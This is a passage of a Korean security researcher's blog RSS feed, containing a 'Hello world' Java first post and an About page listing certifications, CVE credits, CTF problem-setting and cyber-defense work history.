&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;center>&lt;img src="https://dig06161.github.io/img/test.jpg" width="50%" height="50%">&lt;/center></description><content:encoded><![CDATA[<hr>
## Git blog 시작  
<p>2022년 01월 23일 깃 블로그를 시작 합니다. 앞으로 보안, 도커, 개발, 네트워크 등 개인 공부내용을 포스팅 할 예정입니다.</p>
<p>2020년도 8월 입대~ 2022년도 1월 전역</p>
<hr>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">myJava</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="kd">public</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="n">String</span><span class="o">[]</span><span class="w"> </span><span class="n">args</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="n">System</span><span class="p">.</span><span class="na">out</span><span class="p">.</span><span class="na">println</span><span class="p">(</span><span class="s">&#34;Hello world!&#34;</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="n">System</span><span class="p">.</span><span class="na">out</span><span class="p">.</span><span class="na">println</span><span class="p">(</span><span class="s">&#34;Hello Git Blog!&#34;</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><hr>
<center><img src="/img/test.jpg" width="50%" height="50%"></center>
]]></content:encoded></item><item><title>About</title><link>https://dig06161.github.io/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://dig06161.github.io/about/</guid><description>&lt;h2 id="취득내역">취득내역&lt;/h2>
&lt;ul>
&lt;li>정보보안기사&lt;/li>
&lt;li>정보처리산업기사&lt;/li>
&lt;li>LS CVE
&lt;ul>
&lt;li>CVE-2023-22803&lt;/li>
&lt;li>CVE-2023-22804&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Mitsubishi CVE
&lt;ul>
&lt;li>CVE-2023-0457&lt;/li>
&lt;li>CVE-2023-0525&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="활동내용">활동내용&lt;/h2>
&lt;ul>
&lt;li>지엔(ZIEN) 연구개발팀 입사 (24.03.04 ~ ing)&lt;/li>
&lt;li>2023 호남 사이버보안 컨퍼런스 웹취약점 경진대회 우수상 (23.09.22)&lt;/li>
&lt;li>한국정보기술연구원 KITRI BoB 11기 취약점분석 (22.07.01 ~ 23.02.28)&lt;/li>
&lt;li>육군 지상작전사령부 제3군단 103정보통신단 사이버방호실 사이버네트워크작전팀 (20.10.22 ~ 22.2.23)&lt;/li>
&lt;li>ISMS-P 준비를 위한 웹/서버 취약점 진단 [(주) 엔오비즈] (19.11.01 ~ 19.11.15)&lt;/li>
&lt;li>중소기업 웹 취약점진단 항목 점검 [(주) 엔오비즈] (19.06.03 ~ 19.06.28)&lt;/li>
&lt;li>하이퍼서트 AutoInSleep 백엔드 개발 (2019년도)
&lt;ul>
&lt;li>Ubuntu 18.04, Spring Framework 4, Spring Security, Mybatis, MariaDB&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>건양대학교 K-CTF 도커 컨테이너 기반 웹, 암호학 문제출제 및 IPS 컨테이너 구축 (19.03.21 ~ 19.09.21)
&lt;ul>
&lt;li>Suricata IPS, RSA Algorithm, Automated Attack, Spring Framework CVE, php SQL Injection&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>롯데호텔 메거진 홈페이지 백엔드 개발 (2018년도)
&lt;ul>
&lt;li>Spring Framework 3, mysql&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>건양대학교 K-CTF 도커 컨테이너 기반 웹 문제출제 (18.04.06 ~ 18.10.27)
&lt;ul>
&lt;li>php SQL Injection, php 다운로드 취약점&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>공주대학교 정보보호영재교육원 전문반 (2015년도~2017년도)&lt;/li>
&lt;/ul></description><content:encoded><![CDATA[<h2 id="취득내역">취득내역</h2>
<ul>
<li>정보보안기사</li>
<li>정보처리산업기사</li>
<li>LS CVE
<ul>
<li>CVE-2023-22803</li>
<li>CVE-2023-22804</li>
</ul>
</li>
<li>Mitsubishi CVE
<ul>
<li>CVE-2023-0457</li>
<li>CVE-2023-0525</li>
</ul>
</li>
</ul>
<h2 id="활동내용">활동내용</h2>
<ul>
<li>지엔(ZIEN) 연구개발팀 입사 (24.03.04 ~ ing)</li>
<li>2023 호남 사이버보안 컨퍼런스 웹취약점 경진대회 우수상 (23.09.22)</li>
<li>한국정보기술연구원 KITRI BoB 11기 취약점분석 (22.07.01 ~ 23.02.28)</li>
<li>육군 지상작전사령부 제3군단 103정보통신단 사이버방호실 사이버네트워크작전팀 (20.10.22 ~ 22.2.23)</li>
<li>ISMS-P 준비를 위한 웹/서버 취약점 진단 [(주) 엔오비즈] (19.11.01 ~ 19.11.15)</li>
<li>중소기업 웹 취약점진단 항목 점검 [(주) 엔오비즈] (19.06.03 ~ 19.06.28)</li>
<li>하이퍼서트 AutoInSleep 백엔드 개발 (2019년도)
<ul>
<li>Ubuntu 18.04, Spring Framework 4, Spring Security, Mybatis, MariaDB</li>
</ul>
</li>
<li>건양대학교 K-CTF 도커 컨테이너 기반 웹, 암호학 문제출제 및 IPS 컨테이너 구축 (19.03.21 ~ 19.09.21)
<ul>
<li>Suricata IPS, RSA Algorithm, Automated Attack, Spring Framework CVE, php SQL Injection</li>
</ul>
</li>
<li>롯데호텔 메거진 홈페이지 백엔드 개발 (2018년도)
<ul>
<li>Spring Framework 3, mysql</li>
</ul>
</li>
<li>건양대학교 K-CTF 도커 컨테이너 기반 웹 문제출제 (18.04.06 ~ 18.10.27)
<ul>
<li>php SQL Injection, php 다운로드 취약점</li>
</ul>
</li>
<li>공주대학교 정보보호영재교육원 전문반 (2015년도~2017년도)</li>
</ul>
]]></content:encoded></item></channel></rss>